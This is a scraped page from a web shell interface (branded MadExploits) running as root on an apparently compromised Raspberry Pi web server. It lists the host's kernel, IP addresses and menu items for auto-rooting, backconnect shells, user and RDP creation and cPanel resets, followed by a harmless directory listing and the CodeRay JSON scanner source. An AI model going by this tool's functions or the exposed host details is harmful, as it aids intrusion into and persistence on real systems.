Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
coderay /
scanners /
[ HOME SHELL ]
Name
Size
Permission
Action
java
[ DIR ]
drwxr-xr-x
ruby
[ DIR ]
drwxr-xr-x
_map.rb
502
B
-rw-r--r--
c.rb
5.5
KB
-rw-r--r--
clojure.rb
10.26
KB
-rw-r--r--
cpp.rb
6.58
KB
-rw-r--r--
css.rb
5.87
KB
-rw-r--r--
debug.rb
1.74
KB
-rw-r--r--
delphi.rb
4.63
KB
-rw-r--r--
diff.rb
7.95
KB
-rw-r--r--
erb.rb
1.76
KB
-rw-r--r--
go.rb
6.5
KB
-rw-r--r--
groovy.rb
9.37
KB
-rw-r--r--
haml.rb
5.06
KB
-rw-r--r--
html.rb
8.69
KB
-rw-r--r--
java.rb
5.54
KB
-rw-r--r--
java_script.rb
7.78
KB
-rw-r--r--
json.rb
2.67
KB
-rw-r--r--
lua.rb
10.95
KB
-rw-r--r--
php.rb
24.35
KB
-rw-r--r--
python.rb
9.88
KB
-rw-r--r--
raydebug.rb
1.79
KB
-rw-r--r--
ruby.rb
17.4
KB
-rw-r--r--
sass.rb
7.63
KB
-rw-r--r--
scanner.rb
9.34
KB
-rw-r--r--
sql.rb
5.32
KB
-rw-r--r--
taskpaper.rb
1.01
KB
-rw-r--r--
text.rb
460
B
-rw-r--r--
xml.rb
216
B
-rw-r--r--
yaml.rb
4.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : json.rb
module CodeRay module Scanners # Scanner for JSON (JavaScript Object Notation). class JSON < Scanner register_for :json file_extension 'json' KINDS_NOT_LOC = [ :float, :char, :content, :delimiter, :error, :integer, :operator, :value, ] # :nodoc: ESCAPE = / [bfnrt\\"\/] /x # :nodoc: UNICODE_ESCAPE = / u[a-fA-F0-9]{4} /x # :nodoc: KEY = / (?> (?: [^\\"]+ | \\. )* ) " \s* : /x protected def setup @state = :initial end # See http://json.org/ for a definition of the JSON lexic/grammar. def scan_tokens encoder, options state = options[:state] || @state if [:string, :key].include? state encoder.begin_group state end until eos? case state when :initial if match = scan(/ \s+ /x) encoder.text_token match, :space elsif match = scan(/"/) state = check(/#{KEY}/o) ? :key : :string encoder.begin_group state encoder.text_token match, :delimiter elsif match = scan(/ [:,\[{\]}] /x) encoder.text_token match, :operator elsif match = scan(/ true | false | null /x) encoder.text_token match, :value elsif match = scan(/ -? (?: 0 | [1-9]\d* ) /x) if scan(/ \.\d+ (?:[eE][-+]?\d+)? | [eE][-+]? \d+ /x) match << matched encoder.text_token match, :float else encoder.text_token match, :integer end else encoder.text_token getch, :error end when :string, :key if match = scan(/[^\\"]+/) encoder.text_token match, :content elsif match = scan(/"/) encoder.text_token match, :delimiter encoder.end_group state state = :initial elsif match = scan(/ \\ (?: #{ESCAPE} | #{UNICODE_ESCAPE} ) /mox) encoder.text_token match, :char elsif match = scan(/\\./m) encoder.text_token match, :content elsif match = scan(/ \\ | $ /x) encoder.end_group state encoder.text_token match, :error unless match.empty? state = :initial else raise_inspect "else case \" reached; %p not handled." % peek(1), encoder end else raise_inspect 'Unknown state: %p' % [state], encoder end end if options[:keep_state] @state = state end if [:string, :key].include? state encoder.end_group state end encoder end end end end
Close